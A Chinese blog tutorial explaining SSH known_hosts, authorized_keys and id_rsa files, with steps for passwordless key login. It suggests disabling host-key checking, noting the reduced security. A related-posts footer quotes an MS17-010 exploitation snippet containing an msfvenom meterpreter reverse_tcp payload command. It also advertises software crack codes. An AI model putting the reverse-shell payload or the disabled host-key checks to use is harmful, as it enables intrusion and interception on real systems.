SSH下authorized_keys, id_rsa, id_rsa.pub, known_hosts作用[通俗易懂]

SSH下authorized_keys, id_rsa, id_rsa.pub, known_hosts作用

大家好,又见面了,我是全栈君。

一、known_hsots

ssh会把你每个你访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。我在上面列出的情况,就是这种情况。

原因:一台主机上有多个Linux系统,会经常切换,那么这些系统使用同一ip,登录过一次后就会把ssh信息记录在本地的~/.ssh/known_hsots文件中,切换该系统后再用ssh访问这台主机就会出现冲突警告,需要手动删除修改known_hsots里面的内容。

有以下两个解决方案:

1. 手动删除修改known_hsots里面的内容;

2. 修改配置文件“~/.ssh/config”,加上这两行,重启服务器。

StrictHostKeyChecking no
UserKnownHostsFile /dev/null

优缺点:

1. 需要每次手动删除文件内容,一些自动化脚本的无法运行(在SSH登陆时失败),但是安全性高;

2. SSH登陆时会忽略known_hsots的访问,但是安全性低;

二、authorized_keys

1、就是为了让两个linux机器之间使用ssh不需要用户名和密码。采用了数字签名RSA或者DSA来完成这个操作

2、模型分析

假设 A (192.168.20.59)为客户机器,B(192.168.20.60)为目标机;

要达到的目的:

A机器ssh登录B机器无需输入密码;

加密方式选 rsa|dsa均可以,默认dsa

(1)单向登陆的操作过程(能满足上边的目的):

1、登录A机器

2、ssh-keygen -t [rsa|dsa],将会生成密钥文件和私钥文件 id_rsa,id_rsa.pub或id_dsa,id_dsa.pub

3、将 .pub 文件复制到B机器的 .ssh 目录, 并 cat id_dsa.pub >> ~/.ssh/authorized_keys

4、大功告成,从A机器登录B机器的目标账户,不再需要密码了;(直接运行 #ssh 192.168.20.60 )

(2)双向登陆的操作过程:

1、ssh-keygen做密码验证可以使在向对方机器上ssh ,scp不用使用密码.具体方法如下:

2、两个节点都执行操作:

#ssh-keygen -t rsa

然后全部回车,采用默认值.

3、这样生成了一对密钥,存放在用户目录的~/.ssh下。

将公钥考到对方机器的用户目录下,并将其复制到~/.ssh/authorized_keys中(操作命令:#cat id_dsa.pub >> ~/.ssh/authorized_keys)。

三、id_rsa、id_rsa.pub

上班的第一天,上司大哥都会说:待会给我发个公钥吧。

这里说的公钥其实就是id_rsa.pub。

上司大哥是要把我们的客户端公钥上传到服务器,然后再把这个客户端公钥添加到authorized_keys。添加后,服务器就会认为你这个客户端为可信任。你则可以访问这个服务器了。

获取id_rsa.pub

终端输入

ssh-keygen

一路回车,最后会看到一个矩形的图案。

你这时ls是看不到.ssh文件夹的。

cd .ssh/

这样就会切换到.ssh,再ls

就会看到id_rsa 和id_rsa.pub

open ./

就会打开这个文件夹了。

现在你可以发id_rsa.pub给你的上司大哥了。

SSH下authorized_keys, id_rsa, id_rsa.pub, known_hosts作用[通俗易懂]

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/111795.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • MS17010原生打法

    MS17010原生打法1、针对入口跳板机已经CS上线但是因为目标所在区域代理出来的流量卡慢、扫描会导致代理隧道崩溃、MSF的17010不成功但是原生利用工具成功的场景。此工具是由最原版调用fb.py那版提取出来的(原生版是最为稳定,并且能利用的版本)。项目地址:https://github.com/TolgaSEZER/EternalPulsemsfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=192.168.3.128LPORT=4443-fdll>x

    2022年6月14日
  • ETL工具-Kettle Spoon教程

    ETL工具-Kettle Spoon教程一。KettleSpoon简介   ETL(Extract-Transform-Load的缩写,即数据抽取、转换、装载的过程),对于企业或行业应用来说,我们经常会遇到各种数据的处理,转换,迁移,了解并掌握一种etl工具的使用,必不可少,支持图形化的GUI设计界面,然后可以以工作流的形式流转,在做一些简单或复杂的数据抽取、质量检测、数据清洗、数据转换、数据过滤等方面有着比较稳定的表现,使…

    2022年5月23日
  • mac idea 2021.4.1 激活码_通用破解码

    mac idea 2021.4.1 激活码_通用破解码,https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月17日
  • 移植kl档,但调用默认Generic.kl解决的方法

    移植kl档,但调用默认Generic.kl解决的方法

    2022年1月15日
  • Oracle数据库运维方案及优化

    Oracle数据库运维方案及优化Oracle数据库优化运维优化文章目录Oracle数据库优化前言:Oracle数据库性能优化一为啥要运维,运维哪些内容?二检查数据库基本状况2.1检查Oracle实例状态2.2检查Oracle服务进程2.3检查Oracle监听状态三检查系统和oracle日志文件四检查Oracle对象状态前言:在上一篇文章中我们讲了关于Oracle数据库的性能方面的优化,这篇文章咱们讲讲关于运维方面的优化吧。上一篇文章的地址:Oracle数据库性能优化一为啥要运维,运维哪些内容?数据库的运维主

    2022年10月22日
  • leetcode 颜色分类_leetcode难度

    leetcode 颜色分类_leetcode难度给定一个包含红色、白色和蓝色,一共 n 个元素的数组,原地对它们进行排序,使得相同颜色的元素相邻,并按照红色、白色、蓝色顺序排列。此题中,我们使用整数 0、 1 和 2 分别表示红色、白色和蓝色。示例 1:输入:nums = [2,0,2,1,1,0]输出:[0,0,1,1,2,2]示例 2:输入:nums = [2,0,1]输出:[0,1,2]示例 3:输入:nums = [0]输出:[0]示例 4:输入:nums = [1]输出:[1] 提示:n == num

    2022年8月9日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号